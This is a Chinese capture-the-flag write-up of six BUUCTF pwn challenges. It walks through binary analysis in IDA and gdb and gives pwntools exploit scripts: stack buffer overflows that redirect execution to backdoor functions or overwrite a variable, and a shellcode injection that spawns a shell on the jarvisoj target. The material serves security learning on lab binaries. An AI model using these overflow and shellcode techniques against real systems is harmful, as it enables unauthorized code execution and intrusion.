BUUCTF PWN方向 1-6题 详解wp

目录

test_your_nc

rip

warmup_csaw_2016

ciscn_2019_n_1

pwn1_sctf_2016

jarvisoj_level1


觉得这篇文章不错的话,欢迎收藏、点赞、评论,期待你的关注!

Reverse入门博客推荐:CTF比赛 Reverse 逆向方向:入门规划精讲-CSDN博客

PWN入门学习博客推荐:CTF比赛 二进制 PWN方入门:基础知识点精讲-CSDN博客

test_your_nc

首先对题目所给附件test文件进行安全配置检测

BUUCTF PWN方向 1-6题 详解wp_第1张图片

打开IDA查看源码,发现system("/bin/sh")可直接利用

BUUCTF PWN方向 1-6题 详解wp_第2张图片

使用nc工具nc [域名] [端口号]。输入ls命令查看当前目录文件内容,发现flag文件,使用 cat flag命令查看,得到flag。

BUUCTF PWN方向 1-6题 详解wp_第3张图片

rip

对pwn1进行安全配置检测

BUUCTF PWN方向 1-6题 详解wp_第4张图片

发现文件没有用户执行权限,使用chmod命令提升权限

在IDA中查看代码

发现gets函数可利用

BUUCTF PWN方向 1-6题 详解wp_第5张图片

发现后门函数可利用

BUUCTF PWN方向 1-6题 详解wp_第6张图片

使用gdb工具调试程序

BUUCTF PWN方向 1-6题 详解wp_第7张图片

使用pwndbg插件增添断点,使用r运行,n跳过,直到程序完成输入。此处按照代码中定义的变量大小,输入“AAAAABBBBBCCCCC”15个字符

BUUCTF PWN方向 1-6题 详解wp_第8张图片

编写exp

查看栈内适当行数的数据,分析数据构造payload

BUUCTF PWN方向 1-6题 详解wp_第9张图片

构造payload:15个字符输入数据(15字节)+1个栈内return 0;返回地址的数据(8字节)(被垃圾数 据覆盖后则改为访问之后地址)+(返回地址 地址数+1)(远程端使用了ubuntu18,ubuntu18以上版本调用64位程序中的system函数需要栈对齐,在执行system时有一个指令需要栈对齐 ,所以地址+1)

from pwn import *
#io = process("./pwn1")				 #本地程序连接测试
io = remote("node4.buuoj.cn",27645) #远程端口连接
buf_addr = 0x401186					#返回到源码中后门函数的地址
payload = b'A'*23 + p64(buf_addr+1)	#构造payload
io.sendline(payload)				#发送payload
io.interactive()					#打开交互页面

运行exploit,获取终端权限,ls命令查看全部文件后发现flag文件,使用cat flag命令得到flag值

BUUCTF PWN方向 1-6题 详解wp_第10张图片

warmup_csaw_2016

对附件进行安全配置检测

BUUCTF PWN方向 1-6题 详解wp_第11张图片

尝试运行程序,发现权限不够,提升权限

 BUUCTF PWN方向 1-6题 详解wp_第12张图片

打开 ida分析源代码

BUUCTF PWN方向 1-6题 详解wp_第13张图片

write 函数向标准输出打印字符串作为提示信息。

sprintf 函数将函数 sub_40060D 的地址格式化为字符串,并将结果存储在数组 s 中。

最后,调用不安全的 gets 函数,用户输入结果存储在数组 v5 中。

写exp 

构造payload:main函数返回值处为gets函数,加上变量v5空间64字节及gets函数返回地址值长度8字节,重新指向地址的长度为8字节,重新指向后门函数sub_40060D的地址

BUUCTF PWN方向 1-6题 详解wp_第14张图片

from pwn import *
p=remote("node4.buuoj.cn",25286)
payload=b'A'*72+p64(0x40060D)
p.sendline(payload)
p.interactive()

运行exp,得 到flag

BUUCTF PWN方向 1-6题 详解wp_第15张图片

ciscn_2019_n_1

使用checksec工具查看文件安全配置

BUUCTF PWN方向 1-6题 详解wp_第16张图片

同时提升可执行权限

BUUCTF PWN方向 1-6题 详解wp_第17张图片

打开IDA,F5反汇编查看C语言源码

BUUCTF PWN方向 1-6题 详解wp_第18张图片

BUUCTF PWN方向 1-6题 详解wp_第19张图片

分析源码,写exp

定义变量时,计算机会为我们在内存中申请一块内存空间来存储我们的变量的值。而且这个空间是连续的,v1之后就是v2,他们的内存块是接在一起的。点击v1、v2则跳转到其对应内存标识var_30、var_4。

所以可以根据栈溢出,将数据写入,将v2数据覆盖为指定值11.28125

BUUCTF PWN方向 1-6题 详解wp_第20张图片

可以根据题目中的信息获取到表示11.28125的16进制数

点击跳转地址

构造payload:v1有44字节,紧跟着v2需要赋予数值,所以为44字节垃圾数据+11.28125的16进制数

from pwn import *
io = remote("node4.buuoj.cn",25872)
payload = b'A'*44 + p64(0x41348000)
io.send(payload)
io.interactive()

运行exp,得到flag

BUUCTF PWN方向 1-6题 详解wp_第21张图片

pwn1_sctf_2016

使用checksec工具查看文件安全配置

BUUCTF PWN方向 1-6题 详解wp_第22张图片

权限不够,提升权限

BUUCTF PWN方向 1-6题 详解wp_第23张图片

打开IDA,F5反汇编查看C语言源码

BUUCTF PWN方向 1-6题 详解wp_第24张图片

BUUCTF PWN方向 1-6题 详解wp_第25张图片

发现“I”与"you"之间的replace函数,测试结果为函数功能是将字符“I”转换为字符串“you”,由一个字符转换为3个字符。

BUUCTF PWN方向 1-6题 详解wp_第26张图片

发现后门函数可以利用

分析源码,写exp

构造payload:变量声明后顺序入栈,每个标识表示变量所占栈空间底部,s为输入的变量,则其需要覆盖的长度为0X3C~0X00(0X3C字节),0X00处表示返回地址值(4字节)需要覆盖;0X04处表示另一个函数的地址值(4字节)需要覆盖为后门函数的地址。

-0000003C s               db ?
-0000001C var_1C          db 4 dup(?)
-00000018 var_18          db ?
-00000011 var_11          db ?
-00000010 var_10          db ?
-00000009 var_9           db ?
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 ; end of stack variables

查找后门函数的地址

BUUCTF PWN方向 1-6题 详解wp_第27张图片

from pwn import *
io = remote("node4.buuoj.cn",25258)
payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)
io.send(payload)
io.interactive()

运行exp,得到flag

BUUCTF PWN方向 1-6题 详解wp_第28张图片

jarvisoj_level1

BUUCTF中,此题靶机文件内容错乱,以下为 pwn2.jarvoisoj.com 9877 处靶机解题

BUUCTF PWN方向 1-6题 详解wp_第29张图片

每次运行后地址刷新

BUUCTF PWN方向 1-6题 详解wp_第30张图片

BUUCTF PWN方向 1-6题 详解wp_第31张图片

BUUCTF PWN方向 1-6题 详解wp_第32张图片

没找到后门函数,需要在exp中构造

from pwn import *
io = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh()) #构造getshell汇编转二进制代码
#接收运行后输出的字符串,截取地址,将截取字符串转化为16进制数
#因为recvline()函数返回时包含换行符,所以末尾索引为-2
buf_addr = int(io.recvline()[len("What's this:"):-2],16)	
#shellcode与垃圾字符构成140字节字符串
payload = shellcode.ljust(140,b'A') + p32(buf_addr)
io.sendline(payload)
io.interactive()

BUUCTF PWN方向 1-6题 详解wp_第33张图片

你可能感兴趣的:(#,PWN,linux,经验分享,网络安全,安全,系统安全,学习方法,笔记)